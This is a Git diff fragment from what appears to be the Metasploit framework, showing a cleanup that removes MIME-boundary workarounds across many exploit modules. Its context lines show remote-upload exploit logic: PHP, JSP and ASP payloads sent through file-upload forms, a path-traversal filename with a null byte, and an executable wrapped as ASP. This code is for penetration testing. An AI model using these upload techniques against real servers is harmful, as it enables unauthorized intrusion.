||||
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data.add_part('', nil, nil, 'form-data; name="part"')
|
||||
data.add_part('Submit', nil, nil, 'form-data; name="submit"')
|
||||
|
||||
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
post_data = data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('upload', nil, nil, 'form-data; name="op1"')
|
||||
data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"fileupload\"; filename=\"#{@fname}\"")
|
||||
post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_')
|
||||
post_data = data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading PHP payload...")
|
||||
res = send_request_cgi({
|
||||
|
@ -272,9 +272,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
post_data.add_part("1", nil, nil, "form-data; name=\"allowoverwrite\"")
|
||||
post_data.add_part("999999999", nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
|
||||
|
||||
# Work around an incompatible MIME implementation
|
||||
data = post_data.to_s
|
||||
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "admincp", "product.php"),
|
||||
|
@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
|
||||
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
post_data = data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading payload #{payload_name}")
|
||||
res = send_request_cgi({
|
||||
|
@ -81,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
|
||||
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
|
||||
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
post_data = data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading payload #{@payload_name}")
|
||||
res = send_request_cgi({
|
||||
|
@ -215,7 +215,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"")
|
||||
|
||||
n_data = post_data.to_s
|
||||
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("service", "extension", "clientUploader", "upload"),
|
||||
|
@ -80,9 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(zip.pack, "application/octet-stream", nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"")
|
||||
|
||||
# Work around an incompatible MIME implementation
|
||||
data = post_data.to_s
|
||||
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
|
||||
|
||||
print_status("#{peer} - Uploading the JSP payload...")
|
||||
res = send_request_cgi({
|
||||
|
@ -161,7 +161,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
post_data.add_part("upload", nil, nil, "form-data; name=\"upload\"")
|
||||
post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"..\\../../wwwroot#{location}\x00.tmp\"")
|
||||
data = post_data.to_s
|
||||
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("hpmpa", "jobAcct", "Default.asp"),
|
||||
|
@ -96,7 +96,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
post_message.add_part("{\"importPasswd\":\"#{rand_password}\"}", nil, nil, "form-data; name=\"cert_data\"")
|
||||
post_message.add_part("importCertificate", nil, nil, "form-data; name=\"cert_action\"")
|
||||
data = post_message.to_s
|
||||
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
|
@ -94,7 +94,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
post_message.add_part("{}", nil, nil, "form-data; name=\"ad_data\"")
|
||||
post_message.add_part("add", nil, nil, "form-data; name=\"ad_action\"")
|
||||
data = post_message.to_s
|
||||
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
asp = Msf::Util::EXE.to_exe_asp(exe)
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{@payload_name}")
|
||||
data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
data = post_data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading payload...")
|
||||
res = send_request_cgi({
|
||||
|
@ -96,9 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(contents, "image/png", nil, "form-data; name=\"#{rand_text_alpha(4+rand(4))}\"; filename=\"#{filename}\"")
|
||||
|
||||
# Work around an incompatible MIME implementation
|
||||
data = post_data.to_s
|
||||
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
|
Loading…
Reference in New Issue
Block a user